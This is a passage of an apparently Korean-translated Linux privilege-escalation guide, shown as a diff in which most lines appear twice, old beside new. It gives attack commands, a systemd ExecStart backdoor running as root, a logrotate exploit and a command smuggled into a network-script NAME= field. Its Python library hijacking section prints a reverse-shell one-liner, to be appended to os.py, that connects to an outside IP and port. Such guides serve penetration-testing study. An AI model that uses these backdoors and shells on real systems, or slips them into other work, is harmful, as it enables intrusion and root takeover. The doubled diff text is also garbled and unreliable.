for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
``` ```
예를 들어, 머신이 **tomcat** 서버를 실행 중이고 **/etc/systemd/ 의 Tomcat 서비스 구성 파일을 수정할 수 있다면,** 다음과 같은 줄을 수정할 수 있습니다: 예를 들어, 머신이 **tomcat** 서버를 실행 중이고 **/etc/systemd/ 의 Tomcat 서비스 구성 파일을 수정할 수 있다면,** 다음과 같은 줄을 수정할 수 있습니다:
``` ```
ExecStart=/path/to/backdoor ExecStart=/path/to/backdoor
User=root User=root
@ -1252,7 +1252,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat
done done
done done
``` ```
### 마지막 분에 수정된 파일 ### 마지막 분에 수정된 파일
```bash ```bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
``` ```
@ -1268,7 +1268,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash ```bash
find / -type f -iname ".*" -ls 2>/dev/null find / -type f -iname ".*" -ls 2>/dev/null
``` ```
### **스크립트/바이너리 경로** ### **PATH의 스크립트/바이너리**
```bash ```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
@ -1287,19 +1287,19 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Known files containing passwords ### Known files containing passwords
Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **여러 가능한 파일이 비밀번호를 포함할 수 있습니다**.\ Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **여러 가능한 파일이 비밀번호를 포함할 수 있습니다**.\
**또 다른 흥미로운 도구**는 [**LaZagne**](https://github.com/AlessandroZ/LaZagne)로, 이는 Windows, Linux 및 Mac에서 로컬 컴퓨터에 저장된 많은 비밀번호를 검색하는 데 사용되는 오픈 소스 애플리케이션입니다. **또 다른 흥미로운 도구**는 [**LaZagne**](https://github.com/AlessandroZ/LaZagne)로, Windows, Linux 및 Mac에서 로컬 컴퓨터에 저장된 많은 비밀번호를 검색하는 데 사용되는 오픈 소스 애플리케이션입니다.
### Logs ### Logs
If you can read logs, you may be able to find **흥미로운/기밀 정보가 그 안에 있을 수 있습니다**. 로그가 이상할수록 더 흥미로울 것입니다 (아마도).\ If you can read logs, you may be able to find **흥미로운/기밀 정보가 그 안에 있을 수 있습니다**. 로그가 이상할수록 더 흥미로울 것입니다 (아마도).\
또한, "**잘못된**" 구성(백도어?) **감사 로그**는 이 게시물에서 설명한 대로 감사 로그에 **비밀번호를 기록할 수 있게 해줄 수 있습니다**: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). 또한, 일부 "**잘못된**" 구성(백도어가 있는?) **감사 로그**는 이 게시물에서 설명한 대로 감사 로그에 **비밀번호를 기록할 수 있게 해줄 수 있습니다**: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash ```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
``` ```
로그를 **읽기 위해 그룹** [**adm**](interesting-groups-linux-pe/index.html#adm-group)가 정말 유용할 것입니다. 로그를 **읽기 위해 그룹** [**adm**](interesting-groups-linux-pe/index.html#adm-group)가 정말 유용할 것입니다.
### 파일 ### 파일
```bash ```bash
~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
@ -1319,15 +1319,15 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
### Python library hijacking ### Python library hijacking
어디서 **python** 스크립트가 실행될 것인지 알고 있고, 해당 폴더에 **쓰기**가 가능하거나 **python 라이브러리**를 **수정**할 수 있다면, OS 라이브러리를 수정하고 백도어를 설치할 수 있습니다(파이썬 스크립트가 실행될 위치에 쓸 수 있다면 os.py 라이브러리를 복사하여 붙여넣기 하세요). 어디서 **python** 스크립트가 실행될 것인지 알고 있고, 해당 폴더에 **쓰기**가 가능하거나 **python 라이브러리**를 **수정**할 수 있다면, OS 라이브러리를 수정하고 백도어를 설치할 수 있습니다(파이썬 스크립트가 실행될 위치에 쓸 수 있다면, os.py 라이브러리를 복사하여 붙여넣기 하세요).
**라이브러리에 백도어를 추가하려면** os.py 라이브러리의 끝에 다음 줄을 추가하세요(IP와 PORT를 변경하세요): **라이브러리에 백도어를 설치하려면** os.py 라이브러리의 끝에 다음 줄을 추가하세요(IP와 PORT를 변경하세요):
```python ```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
``` ```
### Logrotate exploitation ### Logrotate 악용
`logrotate`의 취약점은 로그 파일이나 그 상위 디렉토리에 **쓰기 권한**이 있는 사용자가 잠재적으로 권한 상승을 얻을 수 있게 합니다. 이는 `logrotate`가 종종 **root**로 실행되기 때문에, _**/etc/bash_completion.d/**_와 같은 디렉토리에서 임의의 파일을 실행하도록 조작될 수 있습니다. 로그 회전이 적용되는 모든 디렉토리뿐만 아니라 _/var/log_에서도 권한을 확인하는 것이 중요합니다. `logrotate`의 취약점은 로그 파일이나 그 상위 디렉토리에 **쓰기 권한**이 있는 사용자가 권한 상승을 얻을 수 있게 합니다. 이는 `logrotate`가 종종 **root**로 실행되기 때문에, _**/etc/bash_completion.d/**_와 같은 디렉토리에서 임의의 파일을 실행하도록 조작될 수 있습니다. 로그 회전이 적용되는 모든 디렉토리뿐만 아니라 _/var/log_에서도 권한을 확인하는 것이 중요합니다.
> [!NOTE] > [!NOTE]
> 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 미칩니다. > 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 미칩니다.
@ -1336,7 +1336,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다. 이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다.
이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 로그)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 로그를 관리하는 사람이 누구인지 확인하고, 심볼릭 링크로 로그를 대체하여 권한 상승을 할 수 있는지 확인하십시오. 이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 로그)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 로그를 관리하는 사람이 누구인지 확인하고, 심볼릭 링크로 로그를 대체하여 권한 상승이 가능한지 확인하십시오.
### /etc/sysconfig/network-scripts/ (Centos/Redhat) ### /etc/sysconfig/network-scripts/ (Centos/Redhat)
@ -1344,11 +1344,11 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-<whatever>` 스크립트를 **쓰기** 할 수 있거나 기존 스크립트를 **조정**할 수 있다면, 당신의 **시스템은 pwned**입니다. 어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-<whatever>` 스크립트를 **쓰기** 할 수 있거나 기존 스크립트를 **조정**할 수 있다면, 당신의 **시스템은 pwned**입니다.
네트워크 스크립트, 예를 들어 _ifcg-eth0_는 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 정확히 같습니다. 그러나 이들은 Linux에서 Network Manager( dispatcher.d)에 의해 \~sourced\~됩니다. 예를 들어 _ifcg-eth0_와 같은 네트워크 스크립트는 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 정확히 같습니다. 그러나 이들은 Linux에서 Network Manager( dispatcher.d)에 의해 \~sourced\~됩니다.
내 경우, 이 네트워크 스크립트에서 `NAME=` 속성이 올바르게 처리되지 않습니다. 이름에 **공백이 있는 경우 시스템은 공백 이후의 부분을 실행하려고 시도합니다**. 이는 **첫 번째 공백 이후의 모든 것이 root로 실행된다는 것을 의미합니다**. 내 경우, 이러한 네트워크 스크립트에서 `NAME=` 속성이 올바르게 처리되지 않습니다. 이름에 **공백이 있는 경우 시스템은 공백 이후의 부분을 실행하려고 시도합니다**. 이는 **첫 번째 공백 이후의 모든 것이 root로 실행된다는 것을 의미합니다**.
를 들어: _/etc/sysconfig/network-scripts/ifcfg-1337_ 예: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash ```bash
NAME=Network /bin/id NAME=Network /bin/id
ONBOOT=yes ONBOOT=yes
@ -1358,9 +1358,9 @@ DEVICE=eth0
디렉토리 `/etc/init.d`는 **System V init (SysVinit)**을 위한 **스크립트**의 집합입니다. 이는 **고전적인 리눅스 서비스 관리 시스템**으로, 서비스의 `start`, `stop`, `restart`, 때때로 `reload`를 위한 스크립트를 포함합니다. 이러한 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다. 디렉토리 `/etc/init.d`는 **System V init (SysVinit)**을 위한 **스크립트**의 집합입니다. 이는 **고전적인 리눅스 서비스 관리 시스템**으로, 서비스의 `start`, `stop`, `restart`, 때때로 `reload`를 위한 스크립트를 포함합니다. 이러한 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다.
반면에, `/etc/init`는 **Upstart**와 관련이 있으며, 이는 Ubuntu에서 도입한 최신 **서비스 관리**로, 서비스 관리 작업을 위한 구성 파일을 사용합니다. Upstart로의 전환에도 불구하고, SysVinit 스크립트는 Upstart 구성과 함께 여전히 사용됩니다. 반면에, `/etc/init`는 **Upstart**와 관련이 있으며, 이는 Ubuntu에서 도입한 최신 **서비스 관리**로, 서비스 관리 작업을 위한 구성 파일을 사용합니다. Upstart로의 전환에도 불구하고, SysVinit 스크립트는 Upstart 구성과 함께 호환성 계층 덕분에 여전히 사용됩니다.
**systemd**는 현대적인 초기화 및 서비스 관리자이며, 온디맨드 데몬 시작, 자동 마운트 관리, 시스템 상태 스냅샷과 같은 고급 기능을 제공합니다. 이는 배포 패키지를 위한 `/usr/lib/systemd/`와 관리자의 수정을 위한 `/etc/systemd/system/`에 파일을 정리하여 시스템 관리 프로세스를 간소화합니다. **systemd**는 현대적인 초기화 및 서비스 관리자이며, 온디맨드 데몬 시작, 자동 마운트 관리, 시스템 상태 스냅샷과 같은 고급 기능을 제공합니다. 이는 배포 패키지를 위한 `/usr/lib/systemd/`와 관리자가 수정할 수 있는 `/etc/systemd/system/`에 파일을 정리하여 시스템 관리 프로세스를 간소화합니다.
## 기타 트릭 ## 기타 트릭
@ -1389,7 +1389,7 @@ cisco-vmanage.md
## 추가 도움 ## 추가 도움
[정적 impacket 바이너리](https://github.com/ropnop/impacket_static_binaries) [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
## Linux/Unix Privesc 도구 ## Linux/Unix Privesc 도구
@ -1406,7 +1406,7 @@ cisco-vmanage.md
**EvilAbigail (물리적 접근):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **EvilAbigail (물리적 접근):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**더 많은 스크립트 모음**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) **더 많은 스크립트 모음**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## 참고 문헌 ## 참고자료
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)